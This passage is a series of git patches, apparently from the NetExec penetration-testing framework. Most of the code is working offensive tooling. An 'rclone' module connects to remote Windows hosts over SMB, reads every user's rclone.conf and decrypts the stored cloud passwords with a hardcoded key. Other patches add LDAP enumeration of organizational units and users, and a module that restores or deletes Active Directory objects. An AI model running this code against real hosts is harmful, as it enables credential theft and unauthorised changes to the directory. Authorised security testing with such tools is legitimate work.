From 4440eb86d699ef0678335e1c1a947386800fd80e Mon Sep 17 00:00:00 2001 From: emre <73831924+crosscutsaw@users.noreply.github.com> Date: Wed, 23 Apr 2025 19:47:04 +0300 Subject: [PATCH 001/397] Create rclone.py --- nxc/modules/rclone.py | 98 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 nxc/modules/rclone.py diff --git a/nxc/modules/rclone.py b/nxc/modules/rclone.py new file mode 100644 index 0000000000..7505b28835 --- /dev/null +++ b/nxc/modules/rclone.py @@ -0,0 +1,98 @@ +import base64 +from Crypto.Cipher import AES + +SECRET_KEY = b"\x9c\x93\x5b\x48\x73\x0a\x55\x4d\x6b\xfd\x7c\x63\xc8\x86\xa9\x2b\xd3\x90\x19\x8e\xb8\x12\x8a\xfb\xf4\xde\x16\x2b\x8b\x95\xf6\x38" + +def base64_urlsafedecode(string): + padding = 4 - (len(string) % 4) + string += "=" * padding + return base64.urlsafe_b64decode(string) + +def deobscure(obscured): + encrypted_password = base64_urlsafedecode(obscured) + iv = encrypted_password[:AES.block_size] + buf = encrypted_password[AES.block_size:] + crypter = AES.new(key=SECRET_KEY, mode=AES.MODE_CTR, initial_value=iv, nonce=b"") + return crypter.decrypt(buf).decode("utf-8") + +class NXCModule: + name = "rclone" + description = "Searches for rclone.conf and deobscures credentials" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + privilege = True + + def options(self, context, module_options): + """There are no module options.""" + + def on_login(self, context, connection): + try: + output = connection.execute("dir C:\\Users", True, methods=["smbexec"]) + except Exception as e: + context.log.error(f"Failed to list C:\\Users: {e}") + return False + + if not output: + context.log.error("No output from dir C:\\Users") + return False + + usernames = self.parse_user_dirs(output) + if not usernames: + context.log.warning("No user directories found.") + return False + + for username in usernames: + rclone_path = f"C:\\Users\\{username}\\AppData\\Roaming\\rclone\\rclone.conf" + context.log.info(f"Trying to read: {rclone_path}") + + try: + file_output = connection.execute(f"type {rclone_path}", True, methods=["smbexec"]) + except Exception as e: + context.log.debug(f"[{username}] Failed to read {rclone_path}: {e}") + continue + + if not file_output or "The system cannot find the path specified." in file_output: + context.log.info(f"[{username}] rclone.conf not found.") + continue + + decoded = file_output + if "# Encrypted rclone configuration file" in decoded: + context.log.info(f"[{username}] Encrypted config — skipping.") + continue + + context.log.success(f"[{username}] rclone.conf found!") + + for line in decoded.splitlines(): + if "=" not in line: + context.log.highlight(line.strip()) + continue + + key, val = map(str.strip, line.split("=", 1)) + if key.lower() in ("pass", "password", "password2"): + try: + plain = deobscure(val) + context.log.highlight(f"{key} = {plain}") + except Exception as e: + context.log.warning(f"[{username}] Failed to deobscure {key}: {e}") + else: + context.log.highlight(line.strip()) + + return True + + def parse_user_dirs(self, output): + usernames = [] + skip_dirs = {"Public", "Default", "Default User", "All Users"} + + for line in output.splitlines(): + parts = line.split() + if len(parts) < 5: + continue + + folder_name = parts[-1] + if folder_name in skip_dirs or folder_name in [".", ".."]: + continue + + usernames.append(folder_name) + + return usernames From 170efd36e965a4b0bae89e5124e977a57b659b25 Mon Sep 17 00:00:00 2001 From: emre <73831924+crosscutsaw@users.noreply.github.com> Date: Thu, 24 Apr 2025 01:41:40 +0300 Subject: [PATCH 002/397] Update rclone.py --- nxc/modules/rclone.py | 33 +++++++++++++++++++++++++-------- 1 file changed, 25 insertions(+), 8 deletions(-) diff --git a/nxc/modules/rclone.py b/nxc/modules/rclone.py index 7505b28835..7b97663e69 100644 --- a/nxc/modules/rclone.py +++ b/nxc/modules/rclone.py @@ -28,22 +28,38 @@ def options(self, context, module_options): def on_login(self, context, connection): try: - output = connection.execute("dir C:\\Users", True, methods=["smbexec"]) + output = connection.execute("dir C:\\", True, methods=["smbexec"]) except Exception as e: - context.log.error(f"Failed to list C:\\Users: {e}") + context.log.error(f"Failed to list C:\\: {e}") return False if not output: - context.log.error("No output from dir C:\\Users") + context.log.error("No output from dir C:\\") return False - usernames = self.parse_user_dirs(output) + use_legacy = any("Documents and Settings" in line for line in output.splitlines()) + + base_path = ( + '"C:\\Documents and Settings\\"' if use_legacy else "C:\\Users" + ) + + try: + user_list_output = connection.execute(f"dir {base_path}", True, methods=["smbexec"]) + except Exception as e: + context.log.error(f"Failed to list {base_path}: {e}") + return False + + usernames = self.parse_user_dirs(user_list_output) if not usernames: context.log.warning("No user directories found.") return False for username in usernames: - rclone_path = f"C:\\Users\\{username}\\AppData\\Roaming\\rclone\\rclone.conf" + if use_legacy: + rclone_path = f'"C:\\Documents and Settings\\{username}\\.config\\rclone\\rclone.conf"' + else: + rclone_path = f"C:\\Users\\{username}\\AppData\\Roaming\\rclone\\rclone.conf" + context.log.info(f"Trying to read: {rclone_path}") try: @@ -52,13 +68,14 @@ def on_login(self, context, connection): context.log.debug(f"[{username}] Failed to read {rclone_path}: {e}") continue - if not file_output or "The system cannot find the path specified." in file_output: + if not file_output or "The system cannot find the" in file_output: context.log.info(f"[{username}] rclone.conf not found.") continue decoded = file_output - if "# Encrypted rclone configuration file" in decoded: - context.log.info(f"[{username}] Encrypted config — skipping.") + + if "RCLONE_ENCRYPT_V0" in decoded: + context.log.fail(f"[{username}] Encrypted config — skipping.") continue context.log.success(f"[{username}] rclone.conf found!") From 6bbe2391665911a5a99c9258a365502d977f5d9c Mon Sep 17 00:00:00 2001 From: termanix Date: Thu, 12 Jun 2025 07:38:29 -0400 Subject: [PATCH 003/397] Added LDAP Search OUs --- nxc/protocols/ldap.py | 53 ++++++++++++++++++++++++++++++++ nxc/protocols/ldap/proto_args.py | 1 + 2 files changed, 54 insertions(+) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 413590c309..8ddc339618 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -800,6 +800,59 @@ def groups(self): self.logger.debug("Exception:", exc_info=True) self.logger.debug(f"Skipping item, cannot process due to error {e}") + def ous(self): + # Building the search filter + if self.args.ous: + self.logger.debug(f"Dumping OU users: {self.args.ous}") + search_filter = f"(&(objectCategory=person)(objectClass=user))" + attributes = ["cn", "sAMAccountName", "distinguishedName"] + else: + search_filter = "(objectCategory=organizationalUnit)" + attributes = ["ou", "distinguishedName"] + + resp = self.search(search_filter, attributes, 0) + resp_parsed = parse_result_attributes(resp) + + self.logger.debug(f"Total of records returned {len(resp_parsed)}") + + if self.args.ous: + if not resp_parsed: + self.logger.fail(f"No users found") + else: + # First check if OU exists by looking for it in all OUs + ou_search_filter = "(objectCategory=organizationalUnit)" + ou_resp = self.search(ou_search_filter, ["ou"], 0) + ou_parsed = parse_result_attributes(ou_resp) + + ou_exists = False + for ou in ou_parsed: + if ou.get('ou', '').upper() == self.args.ous.upper(): + ou_exists = True + break + + if not ou_exists: + self.logger.fail(f"OU {self.args.ous} not found") + else: + found_users = [] + for user in resp_parsed: + dn = user.get('distinguishedName', '').upper() + if f"OU={self.args.ous.upper()}" in dn: + username = user.get('sAMAccountName', user.get('cn', 'Unknown')) + self.logger.highlight(username) + found_users.append(username) + + if not found_users: + self.logger.fail(f"OU {self.args.ous} has no users") + else: + for item in resp_parsed: + try: + ou_name = item.get('ou', 'Unknown') + dn = item.get('distinguishedName', '') + self.logger.highlight(f"{ou_name:<40} {dn}") + except Exception as e: + self.logger.debug("Exception:", exc_info=True) + self.logger.debug(f"Skipping item, cannot process due to error {e}") + def computers(self): resp = self.search(f"(sAMAccountType={SAM_MACHINE_ACCOUNT})", ["name"], 0) resp_parsed = parse_result_attributes(resp) diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index 03530f9392..163616893b 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -24,6 +24,7 @@ def proto_args(parser, parents): vgroup.add_argument("--users", nargs="*", help="Enumerate domain users") vgroup.add_argument("--users-export", help="Enumerate domain users and export them to the specified file") vgroup.add_argument("--groups", nargs="?", const="", help="Enumerate domain groups, if a group is specified than its members are enumerated") + vgroup.add_argument("--ous", nargs="?", const="", help="Specify OU name to query or list all OUs") vgroup.add_argument("--computers", action="store_true", help="Enumerate domain computers") vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers") vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid") From 3f7832096670a77beb1d401e20fd4697245f3869 Mon Sep 17 00:00:00 2001 From: termanix Date: Thu, 12 Jun 2025 08:03:42 -0400 Subject: [PATCH 004/397] ruff fix --- nxc/protocols/ldap.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 8ddc339618..58f1abf7f2 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -804,7 +804,7 @@ def ous(self): # Building the search filter if self.args.ous: self.logger.debug(f"Dumping OU users: {self.args.ous}") - search_filter = f"(&(objectCategory=person)(objectClass=user))" + search_filter = "(&(objectCategory=person)(objectClass=user))" attributes = ["cn", "sAMAccountName", "distinguishedName"] else: search_filter = "(objectCategory=organizationalUnit)" @@ -817,7 +817,7 @@ def ous(self): if self.args.ous: if not resp_parsed: - self.logger.fail(f"No users found") + self.logger.fail("No users found") else: # First check if OU exists by looking for it in all OUs ou_search_filter = "(objectCategory=organizationalUnit)" @@ -826,7 +826,7 @@ def ous(self): ou_exists = False for ou in ou_parsed: - if ou.get('ou', '').upper() == self.args.ous.upper(): + if ou.get("ou", "").upper() == self.args.ous.upper(): ou_exists = True break @@ -835,9 +835,9 @@ def ous(self): else: found_users = [] for user in resp_parsed: - dn = user.get('distinguishedName', '').upper() + dn = user.get("distinguishedName", "").upper() if f"OU={self.args.ous.upper()}" in dn: - username = user.get('sAMAccountName', user.get('cn', 'Unknown')) + username = user.get("sAMAccountName", user.get("cn", "Unknown")) self.logger.highlight(username) found_users.append(username) @@ -846,8 +846,8 @@ def ous(self): else: for item in resp_parsed: try: - ou_name = item.get('ou', 'Unknown') - dn = item.get('distinguishedName', '') + ou_name = item.get("ou", "Unknown") + dn = item.get("distinguishedName", "") self.logger.highlight(f"{ou_name:<40} {dn}") except Exception as e: self.logger.debug("Exception:", exc_info=True) From 04aca03a9f0c939971c46e79e70c0c08ceeb3900 Mon Sep 17 00:00:00 2001 From: crosscutsaw <73831924+crosscutsaw@users.noreply.github.com> Date: Fri, 13 Jun 2025 00:47:52 +0300 Subject: [PATCH 005/397] Update rclone.py Signed-off-by: crosscutsaw <73831924+crosscutsaw@users.noreply.github.com> --- nxc/modules/rclone.py | 80 +++++++++++++++---------------------------- 1 file changed, 27 insertions(+), 53 deletions(-) diff --git a/nxc/modules/rclone.py b/nxc/modules/rclone.py index 7b97663e69..3053596ea8 100644 --- a/nxc/modules/rclone.py +++ b/nxc/modules/rclone.py @@ -1,5 +1,6 @@ import base64 from Crypto.Cipher import AES +from io import BytesIO SECRET_KEY = b"\x9c\x93\x5b\x48\x73\x0a\x55\x4d\x6b\xfd\x7c\x63\xc8\x86\xa9\x2b\xd3\x90\x19\x8e\xb8\x12\x8a\xfb\xf4\xde\x16\x2b\x8b\x95\xf6\x38" @@ -24,63 +25,53 @@ class NXCModule: privilege = True def options(self, context, module_options): - """There are no module options.""" + """No module options.""" - def on_login(self, context, connection): - try: - output = connection.execute("dir C:\\", True, methods=["smbexec"]) - except Exception as e: - context.log.error(f"Failed to list C:\\: {e}") - return False - - if not output: - context.log.error("No output from dir C:\\") - return False - - use_legacy = any("Documents and Settings" in line for line in output.splitlines()) - - base_path = ( - '"C:\\Documents and Settings\\"' if use_legacy else "C:\\Users" - ) + def on_admin_login(self, context, connection): + self.share = "C$" + base_dir = "\\Users" + skip_dirs = {"Public", "Default", "Default User", "All Users"} try: - user_list_output = connection.execute(f"dir {base_path}", True, methods=["smbexec"]) + entries = connection.conn.listPath(self.share, base_dir + "\\*") except Exception as e: - context.log.error(f"Failed to list {base_path}: {e}") + context.log.error(f"Failed to list {base_dir}: {e}") return False - usernames = self.parse_user_dirs(user_list_output) + usernames = [ + entry.get_longname() + for entry in entries + if entry.is_directory() and entry.get_longname() not in skip_dirs | {".", ".."} + ] + if not usernames: context.log.warning("No user directories found.") return False for username in usernames: - if use_legacy: - rclone_path = f'"C:\\Documents and Settings\\{username}\\.config\\rclone\\rclone.conf"' - else: - rclone_path = f"C:\\Users\\{username}\\AppData\\Roaming\\rclone\\rclone.conf" - - context.log.info(f"Trying to read: {rclone_path}") + conf_path = f"\\Users\\{username}\\AppData\\Roaming\\rclone\\rclone.conf" + context.log.info(f"Trying to read: {self.share + conf_path}") + conf_data = "" try: - file_output = connection.execute(f"type {rclone_path}", True, methods=["smbexec"]) - except Exception as e: - context.log.debug(f"[{username}] Failed to read {rclone_path}: {e}") - continue - - if not file_output or "The system cannot find the" in file_output: + buf = BytesIO() + connection.conn.getFile(self.share, conf_path, buf.write) + conf_data = buf.getvalue().decode() + except Exception: context.log.info(f"[{username}] rclone.conf not found.") continue - decoded = file_output - - if "RCLONE_ENCRYPT_V0" in decoded: + if "RCLONE_ENCRYPT_V0" in conf_data: context.log.fail(f"[{username}] Encrypted config — skipping.") continue context.log.success(f"[{username}] rclone.conf found!") - for line in decoded.splitlines(): + for line in conf_data.splitlines(): + line = line.strip() + if not line: + continue + if "=" not in line: context.log.highlight(line.strip()) continue @@ -96,20 +87,3 @@ def on_login(self, context, connection): context.log.highlight(line.strip()) return True - - def parse_user_dirs(self, output): - usernames = [] - skip_dirs = {"Public", "Default", "Default User", "All Users"} - - for line in output.splitlines(): - parts = line.split() - if len(parts) < 5: - continue - - folder_name = parts[-1] - if folder_name in skip_dirs or folder_name in [".", ".."]: - continue - - usernames.append(folder_name) - - return usernames From 376b7e07624237ff2cd4e4ead37a8e6c3315333d Mon Sep 17 00:00:00 2001 From: termanix Date: Mon, 16 Jun 2025 15:20:10 -0400 Subject: [PATCH 006/397] removed unnecessary search --- nxc/protocols/ldap.py | 53 ++++++++++++++++--------------------------- 1 file changed, 20 insertions(+), 33 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 58f1abf7f2..612841778a 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -803,46 +803,33 @@ def groups(self): def ous(self): # Building the search filter if self.args.ous: - self.logger.debug(f"Dumping OU users: {self.args.ous}") + self.logger.debug(f"Dumping users from OU: {self.args.ous}") search_filter = "(&(objectCategory=person)(objectClass=user))" attributes = ["cn", "sAMAccountName", "distinguishedName"] else: + self.logger.debug("Dumping all organizational units") search_filter = "(objectCategory=organizationalUnit)" attributes = ["ou", "distinguishedName"] - + + # Perform the search resp = self.search(search_filter, attributes, 0) resp_parsed = parse_result_attributes(resp) - - self.logger.debug(f"Total of records returned {len(resp_parsed)}") - + + self.logger.debug(f"Total of records returned: {len(resp_parsed)}") + + # Process results if self.args.ous: - if not resp_parsed: - self.logger.fail("No users found") - else: - # First check if OU exists by looking for it in all OUs - ou_search_filter = "(objectCategory=organizationalUnit)" - ou_resp = self.search(ou_search_filter, ["ou"], 0) - ou_parsed = parse_result_attributes(ou_resp) - - ou_exists = False - for ou in ou_parsed: - if ou.get("ou", "").upper() == self.args.ous.upper(): - ou_exists = True - break - - if not ou_exists: - self.logger.fail(f"OU {self.args.ous} not found") - else: - found_users = [] - for user in resp_parsed: - dn = user.get("distinguishedName", "").upper() - if f"OU={self.args.ous.upper()}" in dn: - username = user.get("sAMAccountName", user.get("cn", "Unknown")) - self.logger.highlight(username) - found_users.append(username) - - if not found_users: - self.logger.fail(f"OU {self.args.ous} has no users") + found_users = [] + target_ou = self.args.ous.upper() + for user in resp_parsed: + dn = user.get("distinguishedName", "").upper() + if f"OU={target_ou}" in dn: + username = user.get("sAMAccountName", user.get("cn", "Unknown")) + self.logger.highlight(username) + found_users.append(username) + + if not found_users: + self.logger.fail(f"OU {self.args.ous} not found or has no users") else: for item in resp_parsed: try: @@ -851,7 +838,7 @@ def ous(self): self.logger.highlight(f"{ou_name:<40} {dn}") except Exception as e: self.logger.debug("Exception:", exc_info=True) - self.logger.debug(f"Skipping item, cannot process due to error {e}") + self.logger.debug(f"Skipping item, cannot process due to error: {e}") def computers(self): resp = self.search(f"(sAMAccountType={SAM_MACHINE_ACCOUNT})", ["name"], 0) From 9b31baa7ff9dede6dc96c6d1d8a0aec073e70edf Mon Sep 17 00:00:00 2001 From: termanix Date: Mon, 16 Jun 2025 15:21:17 -0400 Subject: [PATCH 007/397] added to e2e --- tests/e2e_commands.txt | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 8b3e29718a..18c81f55aa 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -184,6 +184,7 @@ netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users-export /tmp/userlistOutputFilename.txt netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ous netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-sid netexec ldap TARGET_HOST -u LOGIN_USERNAME -p '' --asreproast /tmp/output.txt netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --kerberoasting /tmp/output2.txt From a2ea6b9db78ee87a8df248e629475c1d617ad94f Mon Sep 17 00:00:00 2001 From: termanix <50464194+termanix@users.noreply.github.com> Date: Tue, 24 Jun 2025 10:48:35 +0300 Subject: [PATCH 008/397] Refactor strict attribute access Signed-off-by: termanix <50464194+termanix@users.noreply.github.com> --- nxc/protocols/ldap.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 141c8c62ea..b0b00721bb 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -830,7 +830,7 @@ def ous(self): found_users = [] target_ou = self.args.ous.upper() for user in resp_parsed: - dn = user.get("distinguishedName", "").upper() + dn = user["distinguishedName"].upper() if f"OU={target_ou}" in dn: username = user.get("sAMAccountName", user.get("cn", "Unknown")) self.logger.highlight(username) @@ -842,7 +842,7 @@ def ous(self): for item in resp_parsed: try: ou_name = item.get("ou", "Unknown") - dn = item.get("distinguishedName", "") + dn = item["distinguishedName"] self.logger.highlight(f"{ou_name:<40} {dn}") except Exception as e: self.logger.debug("Exception:", exc_info=True) From 5b1cacf5665110a851a1fb3c5613b2d542aa30f7 Mon Sep 17 00:00:00 2001 From: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> Date: Fri, 13 Jun 2025 12:07:47 -0300 Subject: [PATCH 009/397] Create gravedigger.py Signed-off-by: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> --- nxc/modules/gravedigger.py | 258 +++++++++++++++++++++++++++++++++++++ 1 file changed, 258 insertions(+) create mode 100644 nxc/modules/gravedigger.py diff --git a/nxc/modules/gravedigger.py b/nxc/modules/gravedigger.py new file mode 100644 index 0000000000..735e5f416e --- /dev/null +++ b/nxc/modules/gravedigger.py @@ -0,0 +1,258 @@ +import sys +from impacket.ldap import ldap as ldap_impacket +from nxc.logger import nxc_logger +from nxc.parsers.ldap_results import parse_result_attributes +from impacket.ldap.ldapasn1 import Control +from impacket.examples.utils import init_ldap_session +from ldap3 import MODIFY_REPLACE, MODIFY_DELETE + + +class NXCModule: + """Module by Fabrizzio: @Fabrizzio53""" + + name = "gravedigger" + description = "Query, restore and delete AD object" + supported_protocols = ["ldap"] + opsec_safe = True + multiple_hosts = False + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + self.domains = None + + def options(self, context, module_options): + """ + ACTION: Specify the action to execute, by default it uses the "query" action which only retrieve deleted objects, "restore" recover the object from the "ID" param, delete will delete the object. + ID: The id of which object you want to restore. + DN: The DN of which object you want to delete. + SCHEME: Force to use ldap or ldaps when trying to restore or delete an object, by default it uses ldaps. + Usage: nxc ldap $DC-IP -u Username -p Password -M gravedigger" + nxc ldap $DC-IP -u Username -p Password -M gravedigger -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3 + nxc ldap $DC-IP -u Username -p Password -M gravedigger -o ACTION=delete DN="CN=test,OU=Users,DC=test,DC=local" + nxc ldap $DC-IP -u Username -p Password -M gravedigger -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3 SCHEME=ldap + nxc ldap $DC-IP -u Username -p Password -M gravedigger -o ACTION=query + """ + self.action = "query" + self.id = "" + self.deleteDN = "" + self.ssl = True + if "ACTION" in module_options: + self.action = module_options["ACTION"] + if "ID" in module_options: + self.id = module_options["ID"] + if "DN" in module_options: + self.deleteDN = module_options["DN"] + if "SCHEME" in module_options and module_options["SCHEME"] == "ldap": + self.ssl = False + + if "ACTION" in module_options and self.action == "restore" and "ID" not in module_options: + context.log.error("ID is necessary when calling gravedigger with the restore action") + sys.exit(1) + + if "ACTION" in module_options and self.action == "delete" and "DN" not in module_options: + context.log.error("DN is necessary when calling gravedigger with the delete action") + sys.exit(1) + + def domain_to_dn(self, domain): + return ",".join(f"DC={part}" for part in domain.split(".")) + + def restore_deleted_object(self, context, connection): + + # ldap DN for deleted objects + dn = "CN=Deleted Objects," + self.domain_to_dn(self.__domain) + + # Search filter used to recover only Deleted objects and only the one with the specified id + searchFilter = "(isDeleted=TRUE)" + + # LDAP control necessary to show the deleted objects LDAP_SERVER_SHOW_DELETED_OID + show_deleted_control = Control() + show_deleted_control["controlType"] = "1.2.840.113556.1.4.417" + show_deleted_control["criticality"] = True + + context.log.highlight(f"Trying to find object with given id {self.id}") + + try: + context.log.debug(f"Search Filter={searchFilter}") + resp = connection.ldap_connection.search( + dn, + 2, + searchFilter=searchFilter, + attributes=["*"], + sizeLimit=0, + searchControls=[show_deleted_control] + ) + + except ldap_impacket.LDAPSearchError as e: + if e.getErrorString().find("sizeLimitExceeded") >= 0: + context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received") + # We reached the sizeLimit, process the answers we have already and that's it. Until we implement + # paged queries + resp = e.getAnswers() + else: + nxc_logger.debug(e) + return False + + if len(resp) < 1: + context.log.highlight("Recycle is not active on that domain or no object is deleted.") + + return None + + context.log.highlight(f"Found {len(resp)} deleted objects, parsing results to recover necessary informations from given ID") + context.log.highlight("") + + resp_parsed = parse_result_attributes(resp) + + for response in resp_parsed: + + # The value 17 is the first entry from the ldap query when returning deleted objects and it should by default return the Deleted Objects OU information, by skipping this we return only objects that we want + if len(response) != 17 and self.id == response["name"].split(":")[1]: + + context.log.highlight("Found target!") + context.log.highlight(f"sAMAccountName {response['sAMAccountName']}") + context.log.highlight(f"dn {response['distinguishedName']}") + context.log.highlight(f"ID {response['name'].split(':')[1]}") + context.log.highlight(f"isDeleted {response['isDeleted']}") + context.log.highlight(f"lastKnownParent {response['lastKnownParent']}") + context.log.highlight("") + self.__sAMAccountName = response["sAMAccountName"] + self.__objectDN = response["distinguishedName"] + self.__lastKnownParent = response["lastKnownParent"] + + break + + if self.__sAMAccountName == "": + context.log.highlight(f"The object was not found with id {self.id}.") + return None + + ldap_server, ldap_session = init_ldap_session(self.__domain, self.__username, self.__password, self.__lmhash, self.__nthash, self.__doKerberos, self.__host, self.__kdcHost, self.__aesKey, self.ssl) + + control = ("1.2.840.113556.1.4.417", True, None) + + success = ldap_session.modify( + dn=self.__objectDN, + changes={ + "isDeleted": [(MODIFY_DELETE, [])], # Remove the isDeleted atribute + "distinguishedName": [(MODIFY_REPLACE, [f"CN={self.__sAMAccountName},{self.__lastKnownParent}"])] # Change the old dn to the original DN + }, + controls=[control] + ) + + if success: + + context.log.highlight(f'Success "CN={self.__sAMAccountName},{self.__lastKnownParent}" restored') + + else: + + context.log.highlight(f"Error at trying to recover the object {ldap_session.result['description']}") + + def delete_object(self, context, connection): + + ldap_server, ldap_session = init_ldap_session(self.__domain, self.__username, self.__password, self.__lmhash, self.__nthash, self.__doKerberos, self.__host, self.__kdcHost, self.__aesKey, self.ssl) + + context.log.highlight(f"Trying to delete {self.deleteDN}") + + success = ldap_session.delete(self.deleteDN) + + if success: + + context.log.highlight("") + context.log.highlight(f'Success, "{self.deleteDN}" deleted') + + else: + + context.log.highlight("") + context.log.highlight(f'Error when trying to delete "{self.deleteDN}" {ldap_session.result}') + + return + + def query_deleted_objects(self, context, connection): + + # ldap DN for deleted objects + dn = "CN=Deleted Objects," + self.domain_to_dn(self.__domain) + + # Search filter used to recover only Deleted objects + searchFilter = "(isDeleted=TRUE)" + + # LDAP control necessary to show the deleted objects LDAP_SERVER_SHOW_DELETED_OID + show_deleted_control = Control() + show_deleted_control["controlType"] = "1.2.840.113556.1.4.417" + show_deleted_control["criticality"] = True + + try: + context.log.debug(f"Search Filter={searchFilter}") + resp = connection.ldap_connection.search( + dn, + 2, + searchFilter=searchFilter, + attributes=["*"], + sizeLimit=0, + searchControls=[show_deleted_control] + ) + + except ldap_impacket.LDAPSearchError as e: + if e.getErrorString().find("sizeLimitExceeded") >= 0: + context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received") + # We reached the sizeLimit, process the answers we have already and that's it. Until we implement + # paged queries + resp = e.getAnswers() + else: + nxc_logger.debug(e) + return False + + if len(resp) < 1: + context.log.highlight("Recycle is not active on that domain or no object is deleted with that id.") + + return None + + context.log.highlight(f"Found {len(resp)} deleted objects") + context.log.highlight("") + + resp_parsed = parse_result_attributes(resp) + + for response in resp_parsed: + + # The value 17 is the first entry from the ldap query when returning deleted objects and it should by default return the Deleted Objects OU information, by skipping this we return only objects that we want + if len(response) != 17: + + context.log.highlight(f"sAMAccountName {response['sAMAccountName']}") + context.log.highlight(f"dn {response['distinguishedName']}") + context.log.highlight(f"ID {response['name'].split(':')[1]}") + context.log.highlight(f"isDeleted {response['isDeleted']}") + context.log.highlight(f"lastKnownParent {response['lastKnownParent']}") + context.log.highlight("") + + def on_login(self, context, connection): + self.__domain = connection.domain + self.__domainNetbios = connection.domain + self.__kdcHost = connection.kdcHost + self.__username = connection.username + self.__password = connection.password + self.__host = connection.host + self.__aesKey = context.aesKey + self.__hashes = context.hash + self.__doKerberos = connection.kerberos + self.__nthash = "" + self.__lmhash = "" + self.__sAMAccountName = "" + self.__objectDN = "" + self.__lastKnownParent = "" + + if context.hash and ":" in context.hash[0]: + hashList = context.hash[0].split(":") + self.__nthash = hashList[-1] + self.__lmhash = hashList[0] + elif context.hash and ":" not in context.hash[0]: + self.__nthash = context.hash[0] + self.__lmhash = "00000000000000000000000000000000" + + self.__domain = connection.domain + + if self.action == "query": + self.query_deleted_objects(context, connection) + + if self.action == "delete": + self.delete_object(context, connection) + + if self.action == "restore": + self.restore_deleted_object(context, connection) From 74c2cd0c89cf36572cf4a114a7bb2cf914972d68 Mon Sep 17 00:00:00 2001 From: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> Date: Mon, 7 Jul 2025 08:34:43 -0300 Subject: [PATCH 010/397] Renamed gravedigger.py to tombstone.py and changed the name at the script Signed-off-by: Fabrizzio53 <88493503+Fabrizzio53@users.noreply.github.com> --- nxc/modules/{gravedigger.py => tombstone.py} | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) rename nxc/modules/{gravedigger.py => tombstone.py} (93%) diff --git a/nxc/modules/gravedigger.py b/nxc/modules/tombstone.py similarity index 93% rename from nxc/modules/gravedigger.py rename to nxc/modules/tombstone.py index 735e5f416e..acb379cc40 100644 --- a/nxc/modules/gravedigger.py +++ b/nxc/modules/tombstone.py @@ -10,7 +10,7 @@ class NXCModule: """Module by Fabrizzio: @Fabrizzio53""" - name = "gravedigger" + name = "tombstone" description = "Query, restore and delete AD object" supported_protocols = ["ldap"] opsec_safe = True @@ -27,11 +27,11 @@ def options(self, context, module_options): ID: The id of which object you want to restore. DN: The DN of which object you want to delete. SCHEME: Force to use ldap or ldaps when trying to restore or delete an object, by default it uses ldaps. - Usage: nxc ldap $DC-IP -u Username -p Password -M gravedigger" - nxc ldap $DC-IP -u Username -p Password -M gravedigger -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3 - nxc ldap $DC-IP -u Username -p Password -M gravedigger -o ACTION=delete DN="CN=test,OU=Users,DC=test,DC=local" - nxc ldap $DC-IP -u Username -p Password -M gravedigger -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3 SCHEME=ldap - nxc ldap $DC-IP -u Username -p Password -M gravedigger -o ACTION=query + Usage: nxc ldap $DC-IP -u Username -p Password -M tombstone" + nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3 + nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=delete DN="CN=test,OU=Users,DC=test,DC=local" + nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=restore ID=5ad162c9-97b1-4a90-a17c-5c2aedb7d1e3 SCHEME=ldap + nxc ldap $DC-IP -u Username -p Password -M tombstone -o ACTION=query """ self.action = "query" self.id = "" @@ -47,11 +47,11 @@ def options(self, context, module_options): self.ssl = False if "ACTION" in module_options and self.action == "restore" and "ID" not in module_options: - context.log.error("ID is necessary when calling gravedigger with the restore action") + context.log.error("ID is necessary when calling tombstone with the restore action") sys.exit(1) if "ACTION" in module_options and self.action == "delete" and "DN" not in module_options: - context.log.error("DN is necessary when calling gravedigger with the delete action") + 